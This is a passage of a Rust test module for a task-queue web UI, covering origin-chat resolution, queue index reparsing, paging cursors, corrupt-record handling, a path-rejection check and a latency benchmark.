23480        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23481    }
23482
23483    #[tokio::test]
23484    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23485        let home = tempfile::tempdir().unwrap();
23486        let ui = delta_test_ui(home.path());
23487        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23488        let mut parent = Task::new(
23489            "parent".into(),
23490            "body".into(),
23491            PathBuf::from("/repo"),
23492            Source::Agent {
23493                run: chat.clone(),
23494                node: crate::queue::CHAT_NODE.into(),
23495            },
23496        );
23497        parent.id = "parent-task".into();
23498        parent.runs = vec!["parent-run".into()];
23499        ui.queue.put(&mut parent).unwrap();
23500        let mut previous = parent;
23501        for generation in 1..=2 {
23502            let mut child = Task::new(
23503                "child".into(),
23504                "body".into(),
23505                PathBuf::from("/repo"),
23506                Source::Human,
23507            );
23508            child.id = format!("child-task-{generation}");
23509            child.runs = vec![format!("child-run-{generation}")];
23510            child.followup = Some(crate::queue::FollowUp {
23511                origin_task: Some(previous.id.clone()),
23512                run: previous.runs[0].clone(),
23513                pr: String::new(),
23514                findings: vec![],
23515                generation,
23516            });
23517            ui.queue.put(&mut child).unwrap();
23518            previous = child;
23519        }
23520        // A run may have the same spelling as another task's id; its owner
23521        // must not override a typed task reference.
23522        let mut collision = Task::new(
23523            "collision".into(),
23524            String::new(),
23525            PathBuf::from("/repo"),
23526            Source::Human,
23527        );
23528        collision.id = "collision-task".into();
23529        collision.runs = vec![previous.id.clone()];
23530        ui.queue.put(&mut collision).unwrap();
23531        let mut questions = Vec::new();
23532        for (node, reference, expected, eligible) in [
23533            (crate::triage::NODE, previous.id.as_str(), true, false),
23534            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23535            ("review", previous.runs[0].as_str(), true, true),
23536            (
23537                crate::bump::NOTICE_NODE,
23538                previous.runs[0].as_str(),
23539                true,
23540                false,
23541            ),
23542            // Identical text in the wrong reference namespace is not evidence.
23543            ("review", previous.id.as_str(), false, false),
23544            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23545            ("review", "unrelated", false, false),
23546        ] {
23547            let mut q = Question::new(
23548                reference.into(),
23549                node.into(),
23550                "seat".into(),
23551                "Question".into(),
23552                String::new(),
23553                vec![],
23554            );
23555            ui.questions.put(&mut q).unwrap();
23556            questions.push((q, expected, eligible));
23557        }
23558        for (node, reference, associated, eligible) in [
23559            (crate::reconcile::NODE, previous.id.as_str(), true, false),
23560            (
23561                crate::reconcile::NODE,
23562                previous.runs[0].as_str(),
23563                false,
23564                true,
23565            ),
23566            ("implement", previous.id.as_str(), false, false),
23567        ] {
23568            let mut q = Question::new(
23569                reference.into(),
23570                node.into(),
23571                crate::reconcile::SEAT.into(),
23572                "Reconcile".into(),
23573                String::new(),
23574                vec![],
23575            );
23576            ui.questions.put(&mut q).unwrap();
23577            questions.push((q, associated, eligible));
23578        }
23579        let mut release = Question::new(
23580            "release-record".into(),
23581            crate::bump::NOTICE_NODE.into(),
23582            "release-watch".into(),
23583            "Release".into(),
23584            String::new(),
23585            vec![],
23586        );
23587        ui.questions.put(&mut release).unwrap();
23588        let watch = crate::release_watch::WatchState {
23589            question: Some(release.id.clone()),
23590            run: Some(previous.runs[0].clone()),
23591            held_task: Some(previous.id.clone()),
23592            ..Default::default()
23593        };
23594        let watch_dir = home.path().join("release-watch");
23595        std::fs::create_dir_all(&watch_dir).unwrap();
23596        let watch_path = watch_dir.join("watch.json");
23597        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23598        // Ordinary questions and bump notices do not need watch-store I/O.
23599        for batch in [
23600            Vec::new(),
23601            questions.iter().map(|(q, _, _)| q.clone()).collect(),
23602        ] {
23603            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23604            assert!(watches.is_empty());
23605        }
23606        questions.push((release.clone(), true, false));
23607
23608        let views = questions_list(State(ui.clone())).await.unwrap().0;
23609        let origins = question_origins(State(ui.clone())).await.unwrap().0;
23610        for (q, associated, eligible) in &questions {
23611            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23612            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23613            let expected = associated.then_some(chat.as_str());
23614            assert_eq!(
23615                view.origin_chat.as_deref(),
23616                expected,
23617                "{} {}",
23618                q.node,
23619                q.run
23620            );
23621            assert_eq!(origin.origin_chat.as_deref(), expected);
23622            assert_eq!(view.origin_chat_closed, *associated);
23623            assert_eq!(origin.origin_chat_closed, *associated);
23624            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23625            assert_eq!(origin.can_consult_chat, *eligible);
23626        }
23627        // Either saved link independently recovers a release question's owner.
23628        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23629            let link = crate::release_watch::WatchState {
23630                run,
23631                held_task,
23632                ..watch.clone()
23633            };
23634            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23635            let (tasks, talks, watches) =
23636                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23637            assert_eq!(
23638                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23639                    .unwrap()
23640                    .id,
23641                chat,
23642            );
23643            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23644        }
23645        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23646        // Even identical duplicate records are ambiguous: ignore their links.
23647        let duplicate_path = watch_dir.join("duplicate.json");
23648        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23649        let (tasks, talks, watches) =
23650            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23651        assert!(
23652            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23653                .is_none()
23654        );
23655        std::fs::remove_file(duplicate_path).unwrap();
23656        // Another explicit owner is a conflict even if it has no chat.
23657        let mut unrelated = Task::new(
23658            "other".into(),
23659            String::new(),
23660            PathBuf::from("/repo"),
23661            Source::Human,
23662        );
23663        unrelated.id = "unrelated-task".into();
23664        ui.queue.put(&mut unrelated).unwrap();
23665        let mut conflicting = watch.clone();
23666        conflicting.held_task = Some(unrelated.id);
23667        std::fs::write(
23668            watch_dir.join("conflict.json"),
23669            serde_json::to_vec(&conflicting).unwrap(),
23670        )
23671        .unwrap();
23672        let (tasks, talks, watches) =
23673            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23674        assert!(
23675            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23676                .is_none()
23677        );
23678        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23679        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23680        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23681            assert!(origin.origin_chat.is_none());
23682            assert!(!origin.origin_chat_closed);
23683        }
23684    }
23685
23686    #[test]
23687    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23688        let home = tempfile::tempdir().unwrap();
23689        let ui = delta_test_ui(home.path());
23690        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23691        for i in 0..1000 {
23692            let mut task = Task::new(
23693                "unrelated".into(),
23694                "instruction ".repeat(256),
23695                PathBuf::from("/repo"),
23696                Source::Human,
23697            );
23698            task.id = format!("history-{i:04}");
23699            ui.queue.put(&mut task).unwrap();
23700            let id = seed_talk_at(&ui.talks, &task.id, "open");
23701            let mut talk = ui.talks.get(&id).unwrap();
23702            talk.pending = "history ".repeat(256);
23703            ui.talks.put(&mut talk).unwrap();
23704        }
23705        let mut parent = Task::new(
23706            "parent".into(),
23707            "body".into(),
23708            PathBuf::from("/repo"),
23709            Source::Agent {
23710                run: chat_id.clone(),
23711                node: crate::queue::CHAT_NODE.into(),
23712            },
23713        );
23714        parent.id = "task-parent".into();
23715        parent.runs = vec!["run-parent".into()];
23716        ui.queue.put(&mut parent).unwrap();
23717        let mut child = Task::new(
23718            "child".into(),
23719            "body".into(),
23720            PathBuf::from("/repo"),
23721            Source::Human,
23722        );
23723        child.id = "task-child".into();
23724        child.runs = vec!["run-child".into()];
23725        child.followup = Some(crate::queue::FollowUp {
23726            run: "run-parent".into(),
23727            origin_task: Some(parent.id.clone()),
23728            pr: "https://example.invalid/pr/1".into(),
23729            findings: vec![],
23730            generation: 1,
23731        });
23732        ui.queue.put(&mut child).unwrap();
23733        let mut question = Question::new(
23734            child.id.clone(),
23735            crate::conduct::NODE.into(),
23736            "seat".into(),
23737            "Continue?".into(),
23738            String::new(),
23739            vec![],
23740        );
23741        let (tasks, talks, _watches) =
23742            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23743        assert_eq!(tasks.len(), 2);
23744        assert_eq!(talks.len(), 1);
23745        assert_eq!(
23746            ui.monitor.queue_index.lock().unwrap().reparsed,
23747            0,
23748            "exact ancestry bypasses the index"
23749        );
23750        assert_eq!(
23751            crate::consult::origin_talk(&tasks, &talks, &question)
23752                .unwrap()
23753                .id,
23754            chat_id
23755        );
23756        question.run = "run-child".into();
23757        question.node = "review".into();
23758        for origin_task in [Some(parent.id.clone()), None] {
23759            child.followup.as_mut().unwrap().origin_task = origin_task;
23760            ui.queue.put(&mut child).unwrap();
23761            let (tasks, talks, _watches) =
23762                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23763            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23764            let expected =
23765                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23766                    .unwrap();
23767            assert_eq!(actual.id, expected.id);
23768            assert!(!actual.status.open());
23769            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23770            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23771            // Without Unix file identity, every readable record must be
23772            // reparsed to detect same-size, same-mtime replacements safely.
23773            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23774            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23775        }
23776        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23777        ui.queue.put(&mut child).unwrap();
23778        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23779        let (tasks, talks, _watches) =
23780            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23781        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23782        child.origin_chat = Some(chat_id.clone());
23783        ui.queue.put(&mut child).unwrap();
23784        let (tasks, talks, _watches) =
23785            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23786        assert_eq!(
23787            crate::consult::origin_talk(&tasks, &talks, &question)
23788                .unwrap()
23789                .id,
23790            chat_id
23791        );
23792        let revision = question_record_revision(&question);
23793        question.abandon("settled elsewhere");
23794        assert_ne!(revision, question_record_revision(&question));
23795        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23796        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23797        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23798        let (tasks, talks, _watches) =
23799            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23800        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23801    }
23802
23803    #[test]
23804    fn list_cursors_freeze_membership_and_expire_explicitly() {
23805        let home = tempfile::tempdir().unwrap();
23806        let ui = delta_test_ui(home.path());
23807        std::fs::create_dir_all(ui.queue.root()).unwrap();
23808        for i in 0..40 {
23809            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23810        }
23811        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23812        assert_eq!(first.len(), STORE_PAGE_SIZE);
23813        let cursor = cursor.unwrap();
23814        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23815        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23816        let (second, _) = page_ids(
23817            &ui,
23818            false,
23819            PageQuery {
23820                before: Some(cursor.clone()),
23821            },
23822        )
23823        .unwrap();
23824        assert_eq!(second[0], "record-0023");
23825        assert!(second.iter().all(|id| !first.contains(id)));
23826        assert!(
23827            page_ids(
23828                &ui,
23829                true,
23830                PageQuery {
23831                    before: Some(cursor.clone())
23832                }
23833            )
23834            .is_err()
23835        );
23836        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23837        assert_eq!(fresh[0], "record-9999");
23838        ui.monitor.list_walks.lock().unwrap().clear();
23839        assert!(
23840            page_ids(
23841                &ui,
23842                false,
23843                PageQuery {
23844                    before: Some(cursor)
23845                }
23846            )
23847            .is_err()
23848        );
23849    }
23850
23851    #[tokio::test]
23852    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23853        let home = tempfile::tempdir().unwrap();
23854        let ui = delta_test_ui(home.path());
23855        let mut task = Task::new(
23856            "task".into(),
23857            "body".into(),
23858            PathBuf::from("/repo"),
23859            Source::Human,
23860        );
23861        ui.queue.put(&mut task).unwrap();
23862        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23863        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23864        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23865        let expected = parsed + usize::from(!cfg!(unix));
23866        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23867        task.status = crate::queue::TaskStatus::Held;
23868        ui.queue.put(&mut task).unwrap();
23869        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23870        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23871        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23872        ui.queue.put(&mut task).unwrap();
23873        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23874        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23875        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23876    }
23877
23878    #[tokio::test]
23879    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23880        let home = tempfile::tempdir().unwrap();
23881        let ui = delta_test_ui(home.path());
23882        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23883        let before = health(State(ui.clone())).await.unwrap().0;
23884        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23885        let after = health(State(ui)).await.unwrap().0;
23886        assert_ne!(before.notifications_rev, after.notifications_rev);
23887        assert_eq!(after.notifications_unread, 1);
23888    }
23889
23890    #[tokio::test]
23891    async fn list_pages_bound_history_and_keep_dependency_evidence() {
23892        let home = tempfile::tempdir().unwrap();
23893        let ui = delta_test_ui(home.path());
23894        let queue = &ui.queue;
23895        let talks = &ui.talks;
23896        for i in 0..1000 {
23897            let id = format!("20261019-{i:06}-page");
23898            let mut task = Task::new(
23899                "task".into(),
23900                "instruction".repeat(100),
23901                PathBuf::from("/repo/magi"),
23902                Source::Human,
23903            );
23904            task.id = id.clone();
23905            if i == 0 {
23906                task.status = crate::queue::TaskStatus::Held;
23907            } else if i == 999 {
23908                task.status = crate::queue::TaskStatus::Blocked;
23909                task.blocked_by = vec!["20261019-000000-page".into()];
23910            }
23911            queue.put(&mut task).unwrap();
23912            seed_talk_at(talks, &id, "open");
23913        }
23914        let page = serde_json::to_value(
23915            queue_page(State(ui.clone()), Query(PageQuery::default()))
23916                .await
23917                .unwrap()
23918                .0,
23919        )
23920        .unwrap();
23921        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23922        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23923        assert!(
23924            !page["rows"][0]["stuck_roots"]
23925                .as_array()
23926                .unwrap()
23927                .is_empty()
23928        );
23929        let cursor = page["next"].as_str().unwrap();
23930        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23931            .as_str()
23932            .unwrap();
23933        // Deleting an already enumerated file cannot shift or repeat a page.
23934        std::fs::remove_file(queue.path_of(last_id)).unwrap();
23935        let next = serde_json::to_value(
23936            queue_page(
23937                State(ui.clone()),
23938                Query(PageQuery {
23939                    before: Some(cursor.into()),
23940                }),
23941            )
23942            .await
23943            .unwrap()
23944            .0,
23945        )
23946        .unwrap();
23947        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23948        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23949        let chats = serde_json::to_value(
23950            talks_page(State(ui.clone()), Query(PageQuery::default()))
23951                .await
23952                .unwrap()
23953                .0,
23954        )
23955        .unwrap();
23956        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23957        assert!(chats["rows"][0].get("pending").is_none());
23958        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23959        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23960        assert_eq!(counts["held"], 1);
23961        assert_eq!(counts["blocked"], 1);
23962        assert_eq!(counts["queued"], 997);
23963    }
23964
23965    #[test]
23966    fn queue_index_observes_external_replacement_deletion_and_corruption() {
23967        let dir = tempfile::tempdir().unwrap();
23968        let ui = delta_test_ui(dir.path());
23969        let mut task = Task::new(
23970            "task".into(),
23971            "body".into(),
23972            PathBuf::from("/repo"),
23973            Source::Human,
23974        );
23975        task.runs = vec!["run-a".into()];
23976        ui.queue.put(&mut task).unwrap();
23977        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23978        task.runs = vec!["run-b".into()];
23979        let path = ui.queue.path_of(&task.id);
23980        let modified = path.metadata().unwrap().modified().unwrap();
23981        let replacement = path.with_extension("replacement");
23982        let bytes = serde_json::to_vec_pretty(&task).unwrap();
23983        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23984        std::fs::write(&replacement, &bytes).unwrap();
23985        std::fs::File::options()
23986            .write(true)
23987            .open(&replacement)
23988            .unwrap()
23989            .set_times(std::fs::FileTimes::new().set_modified(modified))
23990            .unwrap();
23991        std::fs::rename(&replacement, &path).unwrap();
23992        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23993        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23994        std::fs::write(&path, "broken").unwrap();
23995        assert!(ui.find_task_for_run("run-b").is_err());
23996        std::fs::write(&path, bytes).unwrap();
23997        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23998        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23999        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24000    }
24001
24002    #[tokio::test]
24003    async fn conversation_core_is_independent_of_unreadable_related_history() {
24004        let home = tempfile::tempdir().unwrap();
24005        let ui = delta_test_ui(home.path());
24006        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24007        std::fs::create_dir_all(ui.queue.root()).unwrap();
24008        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24009        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24010            .await
24011            .unwrap();
24012        assert_eq!(core.talk.id, id);
24013        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24014    }
24015
24016    #[tokio::test]
24017    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24018        let home = tempfile::tempdir().unwrap();
24019        let ui = delta_test_ui(home.path());
24020        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24021        let mut run = RunState::new(
24022            PathBuf::from("/repo"),
24023            "main".into(),
24024            "01234567".into(),
24025            "Useful run".into(),
24026            Config::default(),
24027        );
24028        run.save_under(home.path()).unwrap();
24029        let mut task = Task::new(
24030            "Related".into(),
24031            "body".into(),
24032            PathBuf::from("/repo"),
24033            Source::Agent {
24034                run: talk_id.clone(),
24035                node: "chat".into(),
24036            },
24037        );
24038        task.runs = vec![run.id.clone()];
24039        ui.queue.put(&mut task).unwrap();
24040        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24041        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24042        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24043        assert!(
24044            run_detail(State(ui.clone()), Path(run.id.clone()))
24045                .await
24046                .is_ok()
24047        );
24048        assert!(
24049            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24050                .await
24051                .is_ok()
24052        );
24053        // Previously indexed corruption must not masquerade as no relationship.
24054        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24055        assert!(ui.find_task_for_run(&run.id).is_err());
24056        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24057        ui.queue.put(&mut task).unwrap();
24058        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24059    }
24060
24061    #[tokio::test]
24062    async fn conversation_sections_omit_large_task_instructions() {
24063        let home = tempfile::tempdir().unwrap();
24064        let ui = delta_test_ui(home.path());
24065        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24066        let mut task = Task::new(
24067            "filed task".into(),
24068            "large instruction ".repeat(65536),
24069            PathBuf::from("/repo"),
24070            Source::Agent {
24071                run: id.clone(),
24072                node: "chat".into(),
24073            },
24074        );
24075        ui.queue.put(&mut task).unwrap();
24076        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24077        assert_eq!(sections["tasks"][0]["id"], task.id);
24078        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24079        assert!(sections["tasks"][0].get("instruction").is_none());
24080        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24081    }
24082
24083    #[test]
24084    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24085        let home = tempfile::tempdir().unwrap();
24086        let talks = Talks::at(home.path().join("talks"));
24087        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24088        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24089        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24090        assert!(resolve_talk(&talks, "../outside").is_err());
24091        assert!(resolve_talk(&talks, "abcd").is_err());
24092        assert_eq!(
24093            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24094            "20261019-000001-abcd"
24095        );
24096    }
24097
24098    include!(concat!(
24099        env!("CARGO_MANIFEST_DIR"),
24100        "/tests/web_latency/baseline.rs"
24101    ));
24102
24103    include!(concat!(
24104        env!("CARGO_MANIFEST_DIR"),
24105        "/tests/web_latency/lists.rs"
24106    ));
24107
24108    #[tokio::test]
24109    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24110    async fn web_history_latency_measurement() {
24111        use std::time::Instant;
24112        let home = tempfile::tempdir().unwrap();
24113        let ui = delta_test_ui(home.path());
24114        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24115        let mut template = ui.talks.get(&id).unwrap();
24116        template.turns = serde_json::from_value(serde_json::json!([{
24117            "who": "operator", "body": "Show the accumulated work and its current status.",
24118            "at": Timestamp::now().to_string(),
24119        }]))
24120        .unwrap();
24121        std::fs::write(
24122            ui.talks.path_of(&id),
24123            serde_json::to_vec(&template).unwrap(),
24124        )
24125        .unwrap();
24126        let count = std::env::var("MAGI_BENCH_RECORDS")
24127            .ok()
24128            .and_then(|s| s.parse::<usize>().ok())
24129            .unwrap_or(1000);
24130        for i in 0..count {
24131            template.id = format!("20261019-{i:06}-history");
24132            template.pending = "history ".repeat(2048);
24133            std::fs::write(
24134                ui.talks.path_of(&template.id),
24135                serde_json::to_vec(&template).unwrap(),
24136            )
24137            .unwrap();
24138            let mut task = Task::new(
24139                "old task".into(),
24140                "instruction ".repeat(2048),
24141                PathBuf::from("/repo"),
24142                Source::Human,
24143            );
24144            task.id = format!("20261019-{i:06}-task");
24145            ui.queue.put(&mut task).unwrap();
24146        }
24147        for baseline in [true, false] {
24148            for clients in [1, 4] {
24149                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24150                let mut samples = Vec::new();
24151                for _ in 0..12 {
24152                    let mut jobs = Vec::new();
24153                    for _ in 0..clients {
24154                        let ui = ui.clone();
24155                        let id = id.clone();
24156                        jobs.push(tokio::spawn(async move {
24157                            let start = Instant::now();
24158                            if baseline {
24159                                let response =
24160                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24161                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24162                                return (
24163                                    elapsed,
24164                                    elapsed,
24165                                    serde_json::to_vec(&response).unwrap().len(),
24166                                );
24167                            }
24168                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24169                            let secondary = talk_sections(State(ui), Path(id));
24170                            let (first, total) = tokio::join!(
24171                                async {
24172                                    let value = core.await.unwrap().0;
24173                                    (
24174                                        start.elapsed().as_secs_f64() * 1000.0,
24175                                        serde_json::to_vec(&value).unwrap().len(),
24176                                    )
24177                                },
24178                                async {
24179                                    let value = secondary.await.unwrap().0;
24180                                    (
24181                                        start.elapsed().as_secs_f64() * 1000.0,
24182                                        serde_json::to_vec(&value).unwrap().len(),
24183                                    )
24184                                }
24185                            );
24186                            (first.0, first.0.max(total.0), first.1 + total.1)
24187                        }));
24188                    }
24189                    for job in jobs {
24190                        samples.push(job.await.unwrap());
24191                    }
24192                }
24193                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24194                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24195                first.sort_by(f64::total_cmp);
24196                total.sort_by(f64::total_cmp);
24197                let n = first.len();
24198                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24199                println!(
24200                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24201                    first[n / 2],
24202                    first[(n * 95 / 100).min(n - 1)],
24203                    total[n / 2],
24204                    total[(n * 95 / 100).min(n - 1)],
24205                    samples[0].2
24206                );
24207            }
24208        }
24209    }
24210
24211    #[test]
24212    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24213        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24214        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24215        assert!(APP_JS.contains("function nextRunRequest(id)"));
24216        assert!(APP_JS.contains("function runShell(id, summary)"));
24217        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24218        assert!(APP_JS.contains("function taskShell(id, summary)"));
24219        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24220    }
24221}